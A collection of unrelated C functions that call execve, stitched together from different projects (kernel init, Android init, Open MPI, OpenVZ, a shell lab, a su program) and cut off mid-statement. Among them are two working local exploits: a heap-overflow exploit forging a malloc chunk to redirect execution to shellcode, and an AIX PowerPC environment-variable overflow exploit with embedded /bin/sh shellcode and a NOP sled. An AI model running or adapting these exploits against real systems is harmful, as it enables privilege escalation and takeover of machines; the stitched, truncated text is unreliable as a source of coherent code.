int fbterm_init(struct fbterm_ctx *ctx) { if (!font) { font = font_open(DEFAULT_FONT); if (!font) return -1; } memset(ctx, 0, sizeof(struct fbterm_ctx)); ctx->font = font; fb_term_init(ctx); fb_cook_wallpaper(ctx, DEFAULT_WALLPAPER); VTerm *vt = vterm_new(ctx->rows, ctx->cols); ctx->vt = vt; VTermScreen *sc = vterm_obtain_screen(vt); vterm_screen_set_callbacks(sc, &screen_cbs, ctx); vterm_screen_reset(sc, 0); ctx->screen = sc; VTermRect r = {.start_row = 0, .end_row = ctx->rows, .start_col = 0, .end_col = ctx->cols}; damage(r, ctx); return 0; } int kbd_fd = -1; int pty = -1; int fbterm_main() { struct fbterm_ctx *active = &term[0]; struct winsize ws; ws.ws_row = active->rows; ws.ws_col = active->cols; ioctl(pty, TIOCSWINSZ, &ws); fbterm_redraw(active); size_t len; char buf[1024]; while (1) { /* Read input */ if ((len = read(pty, buf, sizeof(buf))) > 0) { vterm_input_write(active->vt, buf, len); } fbterm_redraw(active); /* Write output */ while (vterm_output_get_buffer_current(active->vt) > 0) { size_t s = vterm_output_read(active->vt, buf, 1024); write(pty, buf, s); } } return 0; } char *pts_fn = NULL; /* XXX */ void launch_shell() { int shell_pid = 0; relaunch: if (shell_pid = fork()) { /* Relaunch shell if died */ int s, pid; do { pid = waitpid(shell_pid, &s, 0); } while (pid != shell_pid); /* Uh..Oh shell died */ goto relaunch; } else { for (int i = 0; i < 10; ++i) close(i); int stdin_fd = open(pts_fn, O_RDONLY); int stdout_fd = open(pts_fn, O_WRONLY); int stderr_fd = open(pts_fn, O_WRONLY); /* run login shell */ char *argp[] = {DEFAULT_SHELL, "login", NULL}; char *envp[] = {"PWD=/", "TERM=VT100", NULL}; execve(DEFAULT_SHELL, argp, envp); for (;;); } }
int main() { char gateway[ 1337 ]; char host[ 1337 ]; char * argv[] = { filename, "-g", "123", "-g", gateway, host, NULL }; unsigned int next; int i; unsigned int hellcode; unsigned int size; strcpy( host, "AAAABBBBCCCCDDDDEEEE" ); next = stack - (strlen(filename) + 1) - (strlen(host) + 1) + strlen("AAAA"); for ( i = 0; i < next - (next & ~3); i++ ) { strcat( host, "X" ); } next = next & ~3; ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE; ((unsigned int *)host)[2] = 0xffffffff; if ( zero( victim - 12 ) ) { fprintf( stderr, "Null byte(s) in `victim - 12' (0x%08x)!\n", victim - 12 ); return( -1 ); } ((unsigned int *)host)[3] = victim - 12; hellcode = p + (strlen("123") + 1) + strlen("0x42.0x42.0x42.0x42") + strlen(" "); if ( zero( hellcode ) ) { fprintf( stderr, "Null byte(s) in `host' (0x%08x)!\n", hellcode ); return( -1 ); } ((unsigned int *)host)[4] = hellcode; size = next - (p - 4); size = size | PREV_INUSE; sprintf( gateway, "0x%02x.0x%02x.0x%02x.0x%02x", ((unsigned char *)(&size))[0], ((unsigned char *)(&size))[1], ((unsigned char *)(&size))[2], ((unsigned char *)(&size))[3] ); strcat( gateway, " " ); strcat( gateway, jmp ); strcat( gateway, shellcode ); strcat( gateway, program ); hellcode += strlen(jmp) + strlen(shellcode); if ( zero( hellcode ) ) { fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode ); return( -1 ); } *((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 7)) = hellcode; hellcode += strlen(program) + 1; if ( zero( hellcode ) ) { fprintf( stderr, "Null byte(s) in `gateway' (0x%08x)!\n", hellcode ); return( -1 ); } *((unsigned int *)(gateway + strlen("0x42.0x42.0x42.0x42") + strlen(" ") + strlen(jmp) + 12)) = hellcode; execve( argv[0], argv, NULL ); return( -1 ); }
void __attribute__((noreturn)) run_xz( char **argv, char **envp ) { execve(XZ_BINARY, argv, envp); error(0, errno, "execution of "XZ_BINARY" binary failed"); exit(EXIT_FAILURE); }
int main() { char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve(args[0], args, NULL); }
static int init(void * unused) { int pid,i; #ifdef CONFIG_BLK_DEV_INITRD int real_root_mountflags; #endif /* Launch bdflush from here, instead of the old syscall way. */ kernel_thread(bdflush, NULL, 0); /* Start the background pageout daemon. */ kswapd_setup(); kernel_thread(kswapd, NULL, 0); #ifdef CONFIG_BLK_DEV_INITRD real_root_dev = ROOT_DEV; real_root_mountflags = root_mountflags; if (initrd_start && mount_initrd) root_mountflags &= ~MS_RDONLY; else mount_initrd =0; #endif setup(); #ifdef __SMP__ /* * With the devices probed and setup we can * now enter SMP mode. */ smp_begin(); #endif #ifdef CONFIG_UMSDOS_FS { /* When mounting a umsdos fs as root, we detect the pseudo_root (/linux) and initialise it here. pseudo_root is defined in fs/umsdos/inode.c */ extern struct inode *pseudo_root; if (pseudo_root != NULL){ current->fs->root = pseudo_root; current->fs->pwd = pseudo_root; } } #endif #ifdef CONFIG_BLK_DEV_INITRD root_mountflags = real_root_mountflags; if (mount_initrd && ROOT_DEV != real_root_dev && ROOT_DEV == MKDEV(RAMDISK_MAJOR,0)) { int error; pid = kernel_thread(do_linuxrc, "/linuxrc", SIGCHLD); if (pid>0) while (pid != wait(&i)); if (real_root_dev != MKDEV(RAMDISK_MAJOR, 0)) { error = change_root(real_root_dev,"/initrd"); if (error) printk(KERN_ERR "Change root to /initrd: " "error %d\n",error); } } #endif /* * This keeps serial console MUCH cleaner, but does assume * the console driver checks there really is a video device * attached (Sparc effectively does). */ if ((open("/dev/tty1",O_RDWR,0) < 0) && (open("/dev/ttyS0",O_RDWR,0) < 0)) printk("Unable to open an initial console.\n"); (void) dup(0); (void) dup(0); if (!execute_command) { execve("/etc/init",argv_init,envp_init); execve("/bin/init",argv_init,envp_init); execve("/sbin/init",argv_init,envp_init); /* if this fails, fall through to original stuff */ pid = kernel_thread(do_rc, "/etc/rc", SIGCHLD); if (pid>0) while (pid != wait(&i)) /* nothing */; } while (1) { pid = kernel_thread(do_shell, execute_command ? execute_command : "/bin/sh", SIGCHLD); if (pid < 0) { printf("Fork failed in init\n\r"); continue; } while (1) if (pid == wait(&i)) break; printf("\n\rchild %d died with code %04x\n\r",pid,i); sync(); } return -1; }
static int plm_alps_start_proc(int argc, char **argv, char **env, char *prefix) { int fd; char *exec_argv = opal_path_findv(argv[0], 0, env, NULL); if (NULL == exec_argv) { return ORTE_ERR_NOT_FOUND; } alps_pid = fork(); if (-1 == alps_pid) { ORTE_ERROR_LOG(ORTE_ERR_SYS_LIMITS_CHILDREN); return ORTE_ERR_SYS_LIMITS_CHILDREN; } if (0 == alps_pid) { /* child */ char *bin_base = NULL, *lib_base = NULL; /* Figure out the basenames for the libdir and bindir. There is a lengthy comment about this in plm_rsh_module.c explaining all the rationale for how / why we're doing this. */ lib_base = opal_basename(opal_install_dirs.libdir); bin_base = opal_basename(opal_install_dirs.bindir); /* If we have a prefix, then modify the PATH and LD_LIBRARY_PATH environment variables. */ if (NULL != prefix) { char *oldenv, *newenv; /* Reset PATH */ oldenv = getenv("PATH"); if (NULL != oldenv) { asprintf(&newenv, "%s/%s:%s", prefix, bin_base, oldenv); } else { asprintf(&newenv, "%s/%s", prefix, bin_base); } opal_setenv("PATH", newenv, true, &env); if (mca_plm_alps_component.debug) { opal_output(0, "plm:alps: reset PATH: %s", newenv); } free(newenv); /* Reset LD_LIBRARY_PATH */ oldenv = getenv("LD_LIBRARY_PATH"); if (NULL != oldenv) { asprintf(&newenv, "%s/%s:%s", prefix, lib_base, oldenv); } else { asprintf(&newenv, "%s/%s", prefix, lib_base); } opal_setenv("LD_LIBRARY_PATH", newenv, true, &env); if (mca_plm_alps_component.debug) { opal_output(0, "plm:alps: reset LD_LIBRARY_PATH: %s", newenv); } free(newenv); } fd = open("/dev/null", O_CREAT|O_WRONLY|O_TRUNC, 0666); if(fd > 0) { dup2(fd, 0); } /* When not in debug mode and --debug-daemons was not passed, * tie stdout/stderr to dev null so we don't see messages from orted */ if (0 == mca_plm_alps_component.debug && !orte_debug_daemons_flag) { if (fd >= 0) { if (fd != 1) { dup2(fd,1); } if (fd != 2) { dup2(fd,2); } } } if (fd > 2) { close(fd); } /* get the alps process out of orterun's process group so that signals sent from the shell (like those resulting from cntl-c) don't get sent to alps */ setpgid(0, 0); execve(exec_argv, argv, env); opal_output(0, "plm:alps:start_proc: exec failed"); /* don't return - need to exit - returning would be bad - we're not in the calling process anymore */ exit(1); } else { /* parent */ /* just in case, make sure that the alps process is not in our process group any more. Stevens says always do this on both sides of the fork... */ setpgid(alps_pid, alps_pid); /* setup the waitpid so we can find out if alps succeeds! */ orte_wait_cb(alps_pid, alps_wait_cb, NULL); free(exec_argv); } return ORTE_SUCCESS; }
int exec_container_init(struct arg_start *arg, struct env_create_param3 *create_param) { int fd, ret; char *argv[] = {"init", "-z", " ", NULL}; char *envp[] = {"HOME=/", "TERM=linux", NULL}; struct statfs sfs; /* Clear supplementary group IDs */ setgroups(0, NULL); /* for 32-bit userspace running over 64-bit kernels */ set_personality32(); /* Create /fastboot to skip run fsck */ fd = open("/fastboot", O_CREAT | O_RDONLY, 0644); if (fd >= 0) close(fd); if (arg->res->misc.wait == YES) { if (add_reach_runlevel_mark()) { ret = VZ_WAIT_FAILED; return -1; } } if (mkdir("/proc", 0555) && errno != EEXIST) return vzctl_err(VZ_SYSTEM_ERROR, errno, "Can't mkdir /proc"); if (statfs("/proc", &sfs)) return vzctl_err(VZ_SYSTEM_ERROR, errno, "statfs on /proc failed"); if (sfs.f_type != PROC_SUPER_MAGIC && mount("proc", "/proc", "proc", 0, 0)) return vzctl_err(VZ_SYSTEM_ERROR, errno, "Failed to mount /proc"); if (stat_file("/sys") == 1) mount("sysfs", "/sys", "sysfs", 0, 0); if (create_param->feature_mask & VE_FEATURE_NFSD) { mount("nfsd", "/proc/fs/nfsd", "nfsd", 0, 0); make_dir("/var/lib/nfs/rpc_pipefs", 1); mount("sunrpc", "/var/lib/nfs/rpc_pipefs", "rpc_pipefs", 0, 0); } write_val("/proc/sys/net/ipv6/conf/all/forwarding", "0"); /* Close status descriptor to report that * environment is created. */ close(STDIN_FILENO); /* Now we wait until CT setup will be done If no error, then start init, otherwise exit. */ if (read(arg->wait_p, &ret, sizeof(ret)) == 0) return -1; if ((fd = open("/dev/null", O_RDWR)) != -1) { dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); close(fd); } logger(10, 0, "Starting init"); close_fds(0, arg->err_p, -1); execve("/sbin/init", argv, envp); execve("/etc/init", argv, envp); execve("/bin/init", argv, envp); ret = VZ_FS_BAD_TMPL; write(arg->err_p, &ret, sizeof(ret)); return ret; }
void service_start(struct service *svc, const char *dynamic_args) { struct stat s; pid_t pid; int needs_console; int n; char *scon = NULL; int rc; /* starting a service removes it from the disabled or reset * state and immediately takes it out of the restarting * state if it was in there */ svc->flags &= (~(SVC_DISABLED|SVC_RESTARTING|SVC_RESET)); svc->time_started = 0; /* running processes require no additional work -- if * they're in the process of exiting, we've ensured * that they will immediately restart on exit, unless * they are ONESHOT */ if (svc->flags & SVC_RUNNING) { return; } needs_console = (svc->flags & SVC_CONSOLE) ? 1 : 0; if (needs_console && (!have_console)) { ERROR("service '%s' requires console\n", svc->name); svc->flags |= SVC_DISABLED; return; } if (stat(svc->args[0], &s) != 0) { ERROR("cannot find '%s', disabling '%s'\n", svc->args[0], svc->name); svc->flags |= SVC_DISABLED; return; } if ((!(svc->flags & SVC_ONESHOT)) && dynamic_args) { ERROR("service '%s' must be one-shot to use dynamic args, disabling\n", svc->args[0]); svc->flags |= SVC_DISABLED; return; } if (is_selinux_enabled() > 0) { if (svc->seclabel) { scon = strdup(svc->seclabel); if (!scon) { ERROR("Out of memory while starting '%s'\n", svc->name); return; } } else { char *mycon = NULL, *fcon = NULL; INFO("computing context for service '%s'\n", svc->args[0]); rc = getcon(&mycon); if (rc < 0) { ERROR("could not get context while starting '%s'\n", svc->name); return; } rc = getfilecon(svc->args[0], &fcon); if (rc < 0) { ERROR("could not get context while starting '%s'\n", svc->name); freecon(mycon); return; } rc = security_compute_create(mycon, fcon, string_to_security_class("process"), &scon); freecon(mycon); freecon(fcon); if (rc < 0) { ERROR("could not get context while starting '%s'\n", svc->name); return; } } } NOTICE("starting '%s'\n", svc->name); pid = fork(); if (pid == 0) { struct socketinfo *si; struct svcenvinfo *ei; char tmp[32]; int fd, sz; umask(077); #ifdef __arm__ /* * b/7188322 - Temporarily revert to the compat memory layout * to avoid breaking third party apps. * * THIS WILL GO AWAY IN A FUTURE ANDROID RELEASE. * * http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=7dbaa466 * changes the kernel mapping from bottom up to top-down. * This breaks some programs which improperly embed * an out of date copy of Android's linker. */ int current = personality(0xffffFFFF); personality(current | ADDR_COMPAT_LAYOUT); #endif if (properties_inited()) { get_property_workspace(&fd, &sz); sprintf(tmp, "%d,%d", dup(fd), sz); add_environment("ANDROID_PROPERTY_WORKSPACE", tmp); } for (ei = svc->envvars; ei; ei = ei->next) add_environment(ei->name, ei->value); setsockcreatecon(scon); for (si = svc->sockets; si; si = si->next) { int socket_type = ( !strcmp(si->type, "stream") ? SOCK_STREAM : (!strcmp(si->type, "dgram") ? SOCK_DGRAM : SOCK_SEQPACKET)); int s = create_socket(si->name, socket_type, si->perm, si->uid, si->gid); if (s >= 0) { publish_socket(si->name, s); } } freecon(scon); scon = NULL; setsockcreatecon(NULL); if (svc->ioprio_class != IoSchedClass_NONE) { if (android_set_ioprio(getpid(), svc->ioprio_class, svc->ioprio_pri)) { ERROR("Failed to set pid %d ioprio = %d,%d: %s\n", getpid(), svc->ioprio_class, svc->ioprio_pri, strerror(errno)); } } if (needs_console) { setsid(); open_console(); } else { zap_stdio(); } #if 0 for (n = 0; svc->args[n]; n++) { INFO("args[%d] = '%s'\n", n, svc->args[n]); } for (n = 0; ENV[n]; n++) { INFO("env[%d] = '%s'\n", n, ENV[n]); } #endif setpgid(0, getpid()); /* as requested, set our gid, supplemental gids, and uid */ if (svc->gid) { if (setgid(svc->gid) != 0) { ERROR("setgid failed: %s\n", strerror(errno)); _exit(127); } } if (svc->nr_supp_gids) { if (setgroups(svc->nr_supp_gids, svc->supp_gids) != 0) { ERROR("setgroups failed: %s\n", strerror(errno)); _exit(127); } } if (svc->uid) { if (setuid(svc->uid) != 0) { ERROR("setuid failed: %s\n", strerror(errno)); _exit(127); } } if (svc->seclabel) { if (is_selinux_enabled() > 0 && setexeccon(svc->seclabel) < 0) { ERROR("cannot setexeccon('%s'): %s\n", svc->seclabel, strerror(errno)); _exit(127); } } if (!dynamic_args) { if (execve(svc->args[0], (char**) svc->args, (char**) ENV) < 0) { ERROR("cannot execve('%s'): %s\n", svc->args[0], strerror(errno)); } } else { char *arg_ptrs[INIT_PARSER_MAXARGS+1]; int arg_idx = svc->nargs; char *tmp = strdup(dynamic_args); char *next = tmp; char *bword; /* Copy the static arguments */ memcpy(arg_ptrs, svc->args, (svc->nargs * sizeof(char *))); while((bword = strsep(&next, " "))) { arg_ptrs[arg_idx++] = bword; if (arg_idx == INIT_PARSER_MAXARGS) break; } arg_ptrs[arg_idx] = '\0'; execve(svc->args[0], (char**) arg_ptrs, (char**) ENV); } _exit(127); } freecon(scon); if (pid < 0) { ERROR("failed to start '%s'\n", svc->name); svc->pid = 0; return; } svc->time_started = gettime(); svc->pid = pid; svc->flags |= SVC_RUNNING; if (properties_inited()) notify_service_state(svc->name, "running"); }
int main(int argc, char **argv) { int pipes[ 2 ]; int new_argc; const char** new_argv; char helper_num[ 1024 ]; unsigned i; char** orig_environ = NULL; char header[ 7 ]; if( pipe( pipes ) < 0 ) { perror( "pipe()" ); return 1; } if( argc < 0 || argc > 1000 ) abort(); /* paranoid */ set_protection( getpid(), 1 ); switch( fork()) { case -1: perror( "fork()" ); return 1; default: /* parent, drop privileges and exec */ if (setgid(getgid())) { perror("setgid()"); return 1; } if (setuid(getuid()) || geteuid() != getuid()) { perror("setuid()"); return 1; } close( pipes[ 0 ] ); /* read original environment passed by start_kdeinit_wrapper */ if( read( 0, header, 7 ) == 7 && strncmp( header, "environ", 7 ) == 0 ) { unsigned count; if( read( 0, &count, sizeof( unsigned )) == sizeof( unsigned ) && count && count < (1<<16)) { char** env = malloc(( count + 1 ) * sizeof( char* )); int ok = 1; for( i = 0; i < count && ok; ++i ) { unsigned len; if( read( 0, &len, sizeof( unsigned )) == sizeof( unsigned ) && len && len < (1<<12)) { env[ i ] = malloc( len + 1 ); if( (unsigned) read( 0, env[ i ], len ) == len ) { env[ i ][ len ] = '\0'; } else { ok = 0; } } } if( ok ) { env[ i ] = NULL; orig_environ = env; } } } if(argc == 0) return 1; new_argc = argc + 2; new_argv = malloc( sizeof( char* ) * ( new_argc + 1 )); if( new_argv == NULL ) return 1; new_argv[ 0 ] = EXECUTE; new_argv[ 1 ] = "--oom-pipe"; sprintf( helper_num, "%d", pipes[ 1 ] ); new_argv[ 2 ] = helper_num; for( i = 1; i <= (unsigned) argc; ++i ) new_argv[ i + 2 ] = argv[ i ]; if( orig_environ ) execve(EXECUTE, (char**)new_argv, orig_environ); else execv(EXECUTE, (char**)new_argv); perror(EXECUTE); return 1; case 0: /* child, keep privileges and do the privileged work */ close( pipes[ 1 ] ); for(;;) { pid_t pid = 0; int ret = read( pipes[ 0 ], &pid, sizeof( pid_t )); if( ret < 0 && errno == EINTR ) continue; if( ret <= 0 ) /* pipe closed or error, exit */ _exit(0); if( pid != 0 ) { if (set_protection( pid, 0 )) kill( pid, SIGUSR1 ); } } } }
static int popen2_impl(FILE** in, FILE** out, const char* program, const char* const argv[], const char* const envp[], int lookup_path) { int child_stdout = -1; int child_stdin = -1; int to_be_written = -1; int to_be_read = -1; if(in) { int p[2]={-1,-1}; int ret = pipe(p); if(ret!=0) { return -1; } to_be_written=p[1]; child_stdin =p[0]; *in = fdopen(to_be_written, "w"); if (*in == NULL) { close(to_be_written); close(child_stdin); return -1; } } if(out) { int p[2]={-1,-1}; int ret = pipe(p); if(ret!=0) { if (in) { close(child_stdin); fclose(*in); *in = NULL; } return -1; } to_be_read =p[0]; child_stdout=p[1]; *out = fdopen(to_be_read, "r"); } int childpid = fork(); if(!childpid) { if(child_stdout!=-1) { close(to_be_read); dup2(child_stdout, 1); close(child_stdout); } if(child_stdin!=-1) { close(to_be_written); dup2(child_stdin, 0); close(child_stdin); } if (lookup_path) { if (envp) { execvpe(program, (char**)argv, (char**)envp); } else { execvp (program, (char**)argv); } } else { if (envp) { execve(program, (char**)argv, (char**)envp); } else { execv (program, (char**)argv); } } _exit(ENOSYS); } if(child_stdout!=-1) { close(child_stdout); } if(child_stdin!=-1) { close(child_stdin); } return childpid; }
/* * eval - Evaluate the command line that the user has just typed in * * If the user has requested a built-in command (quit, jobs, bg or fg) * then execute it immediately. Otherwise, fork a child process and * run the job in the context of the child. If the job is running in * the foreground, wait for it to terminate and then return. Note: * each child process must have a unique process group ID so that our * background children don't receive SIGINT (SIGTSTP) from the kernel * when we type ctrl-c (ctrl-z) at the keyboard. */ void eval(char *cmdline) { char *argv[MAXARGS]; //argv array int bg; //0 run in fg, 1 run in bg or blank sigset_t mask; //use to set Signal in blocked pid_t pid; //process ID bg = parseline(cmdline, argv); if (!(builtin_cmd(argv))) { //This is not a built-in comand -> Fork a child process and run the program in this process //Block SIGCHLD signal to avoid race conditions if (sigemptyset(&mask) < 0) { printf("sigemptyset error"); //Error handling } if (sigaddset(&mask, SIGCHLD)) { printf("sigaddset error"); //Error handling } if (sigprocmask(SIG_BLOCK, &mask, NULL) < 0) { printf("sigprocmask error"); //Error handling } //Fork child process if ((pid = fork()) == 0) { //Child process setpgid(0,0); //Set new process group ID sigprocmask(SIG_UNBLOCK, &mask, NULL); //Unblock SIGCHLD signals before execute the pjob if (execve(argv[0],argv,environ) == -1) //execute job { printf("%s: Command not found\n", argv[0]); exit(0); // Terminate child } } else { //Parent process if (bg == 0) { //Run child process in foreground addjob(jobs, pid, FG, cmdline); //Add child job to job list sigprocmask(SIG_UNBLOCK, &mask, NULL); //Unblock SIGCHLD signals in parent process waitfg(pid); //Parent waits while child in fg } else if (bg == 1) { //Run child process in background addjob(jobs, pid, BG, cmdline); //Add child to job list sigprocmask(SIG_UNBLOCK, &mask, NULL); //After that, Unblock SIGCHLD signals to allow parent process to reap the child printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline); //BG process info } } } return; }
int main(int argc, char **argv) { int x = 0; char *args[10]; setuid(2); signal(SIGCHLD, sigchld); do_signals(); x += getpid(); x += getppid(); x += getuid(); x += getgid(); x += setsid(); x += seteuid(); x += setegid(); lseek(0, 0, -1); kill(0, 0); signal(99, 0); signal(SIGINT, int_handler); signal(SIGSEGV, segv_handler); // *(int *) 0 = 0; pipe(0); munmap(0, 0); mincore(0, 0); shmget(0); shmat(0); line = __LINE__; poll(-1, 0, 0); signal(SIGSEGV, SIG_IGN); // ppoll(-1, -1, -1, 0); signal(SIGSEGV, SIG_DFL); sched_yield(); readv(-1, 0, 0, 0); writev(-1, 0, 0, 0); msync(0, 0, 0); fsync(-1); fdatasync(-1); semget(0, 0, 0); semctl(0, 0, 0); uselib(NULL); pivot_root(0, 0); personality(-1); setfsuid(-1); flock(-1, 0); shmdt(0, 0, 0); times(0); mremap(0, 0, 0, 0, 0); madvise(0, 0, 0); fchown(-1, 0, 0); lchown(0, 0, 0); setreuid(); setregid(); link("/nonexistant", "/also-nonexistant"); do_slow(); symlink("/nothing", "/"); rename("/", "/"); mkdir("/junk/stuff////0", 0777); geteuid(); getsid(); getpgid(); getresuid(); getresgid(); getpgid(); ptrace(-1, 0, 0, 0); semop(0, 0, 0); capget(0, 0); line = __LINE__; gettimeofday(0, 0); settimeofday(0, 0); dup(-1); dup2(-1, -1); shmctl(0, 0, 0, 0); execve("/bin/nothing", "/bin/nothing", 0); alarm(9999); bind(0, 0, 0); socket(0, 0, 0); accept(0, 0, 0); listen(0); shutdown(0); getsockname(0, 0, 0); getpeername(0, 0, 0); truncate(0, 0); ftruncate(0, 0); line = __LINE__; if (vfork() == 0) exit(0); line = __LINE__; x = opendir("/", 0, 0); line = __LINE__; readdir(x, 0, 0); line = __LINE__; closedir(x); line = __LINE__; chroot("/"); line = __LINE__; sigaction(0, 0, 0); line = __LINE__; sigprocmask(0, 0, 0); x += open("/nothing", 0); x += chdir("/nothing"); x += mknod("/nothing/nothing", 0); x += ioctl(); execve("/nothing", NULL, NULL); line = __LINE__; x += close(-2); line = __LINE__; if (fork() == 0) exit(0); line = __LINE__; clone(clone_func, 0, 0, 0); line = __LINE__; brk(0); sbrk(0); line = __LINE__; mmap(0, 0, 0, 0, 0); line = __LINE__; uname(0); line = __LINE__; getcwd(0, 0); line = __LINE__; iopl(3); ioperm(0, 0, 0); mount(0, 0, 0, 0, 0); umount(0, 0); umount(0, 0, 0); swapon(0, 0); swapoff(0); sethostname(0); line = __LINE__; time(NULL); unlink("/nothing"); line = __LINE__; rmdir("/nothing"); chmod(0, 0); line = __LINE__; # if defined(__i386) || defined(__amd64) modify_ldt(0); # endif stat("/doing-nice", 0); nice(0); args[0] = "/bin/df"; args[1] = "-l"; args[2] = NULL; close(1); open("/dev/null", O_WRONLY); /***********************************************/ /* Some syscalls arent available direct */ /* from libc, so get them here. We mostly */ /* care about the ones which have caused */ /* implementation difficulty and kernel */ /* crashes - eventually we can be complete. */ /***********************************************/ line = __LINE__; open("/system-dependent-syscalls-follow", 0); line = __LINE__; if (fork() == 0) exit(0); {int status; while (wait(&status) >= 0) ; } sigaltstack(0, 0); /*vm86(0, 0);*/ /***********************************************/ /* Some syscalls arent directly accessible, */ /* e.g. legacy. */ /***********************************************/ #if defined(__x86_64__) trace(__LINE__, "x64 syscalls"); syscall(174, 0, 0, 0); // create_module syscall(176, 0, 0, 0); // delete_module syscall(178, 0, 0, 0); // query_module #else trace(__LINE__, "x32 syscalls"); syscall(0, 0, 0, 0); // restart_syscall syscall(34, 0, 0, 0); // nice syscall(59, 0, 0, 0); // oldolduname syscall(109, 0, 0, 0); // olduname if (fork() == 0) syscall(1, 0, 0, 0); // exit #endif line = __LINE__; execve("/bin/df", args, NULL); fprintf(stderr, "Error: should not get here -- %s\n", strerror(errno)); exit(1); }
/*The program*/ main(int argc,char **argv,char **env) { /*The code*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* disassembly 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 --CTR 60632c48 lis r3,r3,11336 --CTR 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 --TOC 60634c0c lis r3,r3,19468 --TOC 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i,nop,mn; int max; int QUIET=0; int dobuf=0; char VAR[30]="LC_MESSAGES"; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; int egg=1; int ch; unsigned int reta; /* return address */ int corr=4604; char *args[4]; char *newenv[8]; int justframes=1; int startwith=0; mn=78; max=100; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr; for(nop=0;nop<mn;nop++) buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/ strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000) || !(reta && 0xff000000)) { perror("Return address has zero");exit(5); } while(i++<max) buf[i]=reta; buf[i]=0; for(i=0;i<max-1;i++) frame[i]=reta; frame[i]=0; if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);}; puts("Start...");/*Here we go*/ newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame : (char*)&buf):NULL; newenv[6]=NULL; args[0]=prog2; execve(prog,args,newenv); perror("Error executing execve \n"); /* Georgi Guninski [email protected] [email protected] [email protected] http://www.geocities.com/ResearchTriangle/1711 */ }
int main(int argc, char **argv) { int i, optind = 0; char *su_user; struct passwd *su_info; struct passwd *login_info; struct passwd *pwd; char *shell; int ok = 0; setprogname (argv[0]); if(getarg(args, sizeof(args) / sizeof(args[0]), argc, argv, &optind)) usage(1); for (i=0; i < optind; i++) if (strcmp(argv[i], "-") == 0) { full_login = 1; break; } if(help_flag) usage(0); if(version_flag) { print_version(NULL); exit(0); } if(optind >= argc) su_user = "******"; else su_user = argv[optind++]; if (!issuid() && getuid() != 0) warnx("Not setuid and you are not root, expect this to fail"); pwd = k_getpwnam(su_user); if(pwd == NULL) errx (1, "unknown login %s", su_user); if (pwd->pw_uid == 0 && strcmp ("root", su_user) != 0) { syslog (LOG_ALERT, "NIS attack, user %s has uid 0", su_user); errx (1, "unknown login %s", su_user); } su_info = dup_info(pwd); if (su_info == NULL) errx (1, "malloc: out of memory"); pwd = getpwuid(getuid()); if(pwd == NULL) errx(1, "who are you?"); login_info = dup_info(pwd); if (login_info == NULL) errx (1, "malloc: out of memory"); if(env_flag) shell = login_info->pw_shell; else shell = su_info->pw_shell; if(shell == NULL || *shell == '\0') shell = _PATH_BSHELL; #ifdef KRB5 if(kerberos_flag && ok == 0 && krb5_verify(login_info, su_info, kerberos_instance) == 0) ok = 5; #endif if(ok == 0 && login_info->pw_uid && verify_unix(login_info, su_info) != 0) { printf("Sorry!\n"); exit(1); } #ifdef HAVE_GETSPNAM { struct spwd *sp; long today; sp = getspnam(su_info->pw_name); if (sp != NULL) { today = time(0)/(24L * 60 * 60); if (sp->sp_expire > 0) { if (today >= sp->sp_expire) { if (login_info->pw_uid) errx(1,"Your account has expired."); else printf("Your account has expired."); } else if (sp->sp_expire - today < 14) printf("Your account will expire in %d days.\n", (int)(sp->sp_expire - today)); } if (sp->sp_max > 0) { if (today >= sp->sp_lstchg + sp->sp_max) { if (login_info->pw_uid) errx(1,"Your password has expired. Choose a new one."); else printf("Your password has expired. Choose a new one."); } else if (today >= sp->sp_lstchg + sp->sp_max - sp->sp_warn) printf("Your account will expire in %d days.\n", 